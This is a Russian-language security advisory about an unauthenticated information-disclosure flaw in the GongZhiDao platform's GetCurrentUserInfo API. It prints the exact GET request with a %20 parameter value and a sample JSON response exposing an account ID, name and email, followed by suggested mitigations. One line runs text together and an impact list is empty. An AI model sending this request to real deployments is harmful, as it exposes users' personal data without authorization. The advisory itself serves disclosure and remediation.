
Система GongZhiDao — это платформа, разработанная компанией GongZhiDao. Она предоставляет корпоративные решения, включая управление пользователями, анализ данных и операционные функции. Однако в одной из конечных точек API была обнаружена уязвимость, которая потенциально может привести к раскрытию конфиденциальной информации пользователей без надлежащей авторизации.
Уязвимость существует в конечной точке API /oaa/api/AccountMaster/GetCurrentUserInfo системы GongZhiDao. При передаче %20 (пробел в URL-кодировке) вместо параметра UserNameOrPhoneNumber API отвечает конфиденциальной информацией о пользователе, включая идентификатор учётной записи, имя пользователя и адрес электронной почты, даже без надлежащей аутентификации или авторизации. Такая некорректная проверка входных данных позволяет злоумышленникам получить несанкционированный доступ к конфиденциальным данным.
Успешная эксплуатация этой уязвимости может привести к раскрытию конфиденциальных данных пользователей, включая:
Злоумышленник может использовать эту информацию для проведения дальнейших атак, таких как кража личности или фишинг.
Чтобы воспользоваться уязвимостью, злоумышленник должен отправить специально сформированный HTTP GET-запрос к уязвимой конечной точке API:
GET /oaa/api/AccountMaster/GetCurrentUserInfo?UserNameOrPhoneNumber=%20 HTTP/2
Этот запрос возвращает ответ 200 OK с конфиденциальными данными пользователя в формате JSON:
HTTP/2 200 OK
Date: Tue, 10 Sep 2024 03:25:09 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 153
Server: nginx/1.22.0
X-Powered-By: ASP.NET
Set-Cookie: Path=/; HttpOnly; Secure
{"accountId":"09c05434-e1ff-4436-b1b0-01215e48b274","name":"John","phoneNumber":null,"userName":"19999999999","email1":"[email protected]"}
/oaa/api/AccountMaster/GetCurrentUserInfoUserNameOrPhoneNumber со значением %20Внедрите надлежащую проверку входных данных: Убедитесь, что параметр UserNameOrPhoneNumber должным образом очищается и проверяется. Такие входные значения, как %20, должны отклоняться.
Проверка авторизации: Внедрите надлежащие механизмы авторизации, чтобы гарантировать, что только аутентифицированные и авторизованные пользователи могут получать доступ к конфиденциальной информации.
Ограничение частоты запросов и мониторинг: Примените ограничение частоты запросов к конечным точкам API для предотвращения атак методом перебора или автоматизированных атак, а также контролируйте активность API на предмет аномальных паттернов доступа.
Эта уязвимость была обнаружена hithub.